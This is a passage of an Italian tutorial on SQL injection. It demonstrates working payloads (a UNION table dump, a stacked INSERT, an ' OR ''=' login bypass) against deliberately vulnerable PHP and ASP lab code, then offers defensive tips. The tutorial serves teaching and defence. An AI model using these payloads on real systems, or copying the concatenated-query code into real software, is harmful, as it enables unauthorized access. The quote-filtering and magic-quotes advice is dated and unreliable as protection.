Warning: pg_free_result(): supplied argument is not a validPostgreSQL result resource in /home/apache/www/sql/sql.php on line16

Come era nostra intenzione mostrare, il codice e` vulnerabile.Questa enorme falla permette l'esecuzione di query arbitrarie alnostro database e a tutti i database ai quali abbiamo accesso.Abbiamo volutamente inserito due tabelle nel database per fare leprove con lo statement UNION.

La sintassi UNION ci permette di unire piu` query SELECT in una ein questo caso puo` essere utilizzata per visualizzare dati aiquali non avremmo accesso.Il nostro scopo e` quello di evitare la visualizzazione dei dati

Page 21: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

della tabella 'nominativi' e di visualizzare con la stessa queryil contenuto dell'altra tabella a cui potremo accedere grazie allavulnerabilita`.Inseriamo nel campo la seguente stringa e inviamo i dati alserver:' UNION ALL SELECT * FROM lavoro WHERE '1'='1

Come volevamo, il server ha visualizzato l'altra tabella:ingegnere supervisioneinformatico programmatoremanager organizzazioneperito tecnico

Questo e` molto grave ma e` ancora piu` grave la possibilita` diinserire, cancellare o modificare dati esistenti nel database.Grazie al normale utilizzo della pagina possiamo scoprire ilcognome di 'mario' ma grazie alla vulnerabilita` possiamomodificare quel cognome, cancellare il record o inserirne unaltro.Niente di piu` semplice purtroppo... Tutto grazie al terminatorepunto e virgola (;).

Vediamo di inserire un nuovo record e per concluderevisualizziamolo:'; INSERT INTO nominativi (nome, cognome) VALUES ('eduard','roccatello'); SELECT * FROM nominativi WHERE '1'='1

Terribile vero? Per essere sicuri di aver inserito proviamo questa nuovainjection:'; SELECT * FROM nominativi WHERE '1'='1

Il record e` stato effettivamente inserito:mario bianchigiacomo rossibeppe verdimaria bianchieduard roccatello

Come questo funzionano tutti gli altri comandi di SQL.Una falla come questa permette quindi di entrare in una webapplication senza tanti problemi.

PHP e MySQL

Procediamo come per PostgreSQL ovvero aggiungiamo il nostro utentecon il comando GRANT e creiamo il database testdb con all'internole stesse tabelle create per Postgre.Utilizziamo anche la stessa pagina index.html ma sostituiamo ilcontenuto di sql.php con il seguente codice scritto per funzionaresu MySQL.

Page 22: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

<?$db_host = 'localhost';$db_user = 'user';$db_password = 'password';$db_name = 'testdb';$db = mysql_connect($db_host, $db_user, $db_password);

$text = ''; if (get_magic_quotes_gpc() == 1) { // GPC attivate $text = stripslashes($_POST['query']);}else { $text = $_POST['query'];}mysql_selectdb($db_name);$sql = 'SELECT * FROM nominativi WHERE nome=\''.$text.'\'';echo "$sql<br>";$query = mysql_query($sql);while ($row = mysql_fetch_array($query)) {print $row['nome'].' '.$row['cognome']."<br>\n";}mysql_close($db);

?>

Come e` possibile notare facendo diverse prove il problemaevidenziato con PostgreSQL persiste anche con MySQL ed e`possibile riprodurre tutte le iniezioni effettuate tranne quellache prevede l'utilizzo degli statement multipli.MySQL e` stato concepito infatti per non elaborare piu` istruzioniSQL alla volta separate da un punto e virgola (ovvero ilterminatore di uno statemente SQL) e questo limita abbastanza lavulnerabilita` ma non la rende certamente meno seria.E` inoltre possibile effettuare injection con la sintassi UNIONsolo utilizzando versioni di MySQL maggiori di 3.X (dalla 4.0 inpoi).

ASP e MDB (sotto Windows)

Utilizzando il linguaggio proprietario ASP vediamo come e`possibile utilizzare l'SQL Injection per avere accesso ad unawebapplication mal programmata.Come prima cosa dobbiamo creare un database Access in formato MDBchiamato database.mdb ed inserire al suo interno una tabellachiamata utenti con due campi: nome e password.Il database va posizionato nella cartella mdb-database presentenella root del server web (se non esiste va creata).Inseriamo la coppia di dati admin / admin come in figura:

Page 23: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Se non possediamo Microsoft Access possiamo utilizzare una dellenumerose utility presenti sul web per la gestione dei database daASP (www.hotscripts.com e` una buona risorsa per tutti gliscript).Una volta fatta questa noiosa procedura creaiamo tre pagine:index.asp, login.asp e admin.asp contententi il seguente codice:

index.asp:<html><head><title>Login</title></head><body><form action="login.asp" method="post" name="login"> <table width="40%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="50%">Utente</td> <td><input name="user_id" type="text"></td> </tr> <tr> <td>Password</td> <td><input name="password" type="password"></td> </tr> <tr> <td colspan="2"><div align="center"> <input name="" type="submit" value="Login"> <input name="" type="reset" value="Annulla"> </div></td> </tr> </table>

</form></body></html>

login.asp:<%dim db, conn, strID, strPassword, rs, SQL

strID = Request.form("User_ID")strPassword = Request.form("Password")

db = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Server.MapPath("/mdb-database/database.mdb")Set conn = Server.CreateObject("ADODB.Connection")conn.Open db

set rs = Server.CreateObject("ADODB.Recordset")SQL = "SELECT * FROM utenti WHERE nome='" & strID & "' AND

Page 24: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

password='" & strPassword & "'"rs.Open SQL, conn

if not rs.eof and not rs.bof thensession("username") = rs("nome")Session("isLoggedin") = Trueresponse.redirect "admin.asp"

elseSession.abandonResponse.write "Login sbagliata!"

end If%>admin.asp:<html><head><title>Benvenuto!</title></head><body>Benvenuto <%=session("username")%></body></html>

Tecnicamente questo script dovrebbe proteggere l'accesso a sezioniprivate tramite l'utilizzo di una coppia nomeutente e password,che in questo caso e` banalmente admin / admin.Lo script e` pero` vulnerabile e questo permette l'accesso nonautorizzato.

Utilizzando infatti come nome e password questa stringa ' OR ''='e` possibile entrare nella zona privata senza autorizzazione.Se si conosce il nome utente si puo` aumentare la probabilita` dientrata sorpassando eventuali controlli sulla variabile disessione username, utilizzando la stringa di injection solo per lapassword, sulla quale non viene effettuato nessun controllo se nonper la query al database.

Come proteggersi?Possiamo evitare questi attacchi utilizzando questo controlloprima della query al database.

' Antiinjection code start'if instr(strID, "'")<>0 or instr(strPassword, "'")<>0 or instr(strID, "%")<>0 or instr(strPassword, "%")<>0 then' session.abandon' response.redirect "index.asp"'end if' Antiinjection code end

Questo codice controlla che nell'username e nella password nonsiano presenti apici e percentuali (nel caso che la query siafatta con il costrutto like).

Page 25: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Consigli praticiEvitare l'SQL Injection e` fondamentale per la sicurezza delleapplicazioni lato web e richiede solo piccoli accorgimenti diprogrammazione molto semplici da implementare.Innanzitutto bisogna assicurarsi che vengano rispettati i tipi divariabili, controllando la tipologia del contenuto con le appositefunzioni, che non vengano inseriti caratteri speciali nonnecessari, e quindi parte della sintassi delle query SQL, e cheeventuali caratteri speciali utili per l'utilizzodell'applicazione siano preceduti dall'apposito carattere diescape (solitamente il backslash).PHP fornisce di default una protezione, costituita dalle magicquotes GPC, ma e` sempre bene controllare per eventuali caratteriche portano alla vulnerabilita` e filtrarli ad hoc.Buon lavoro!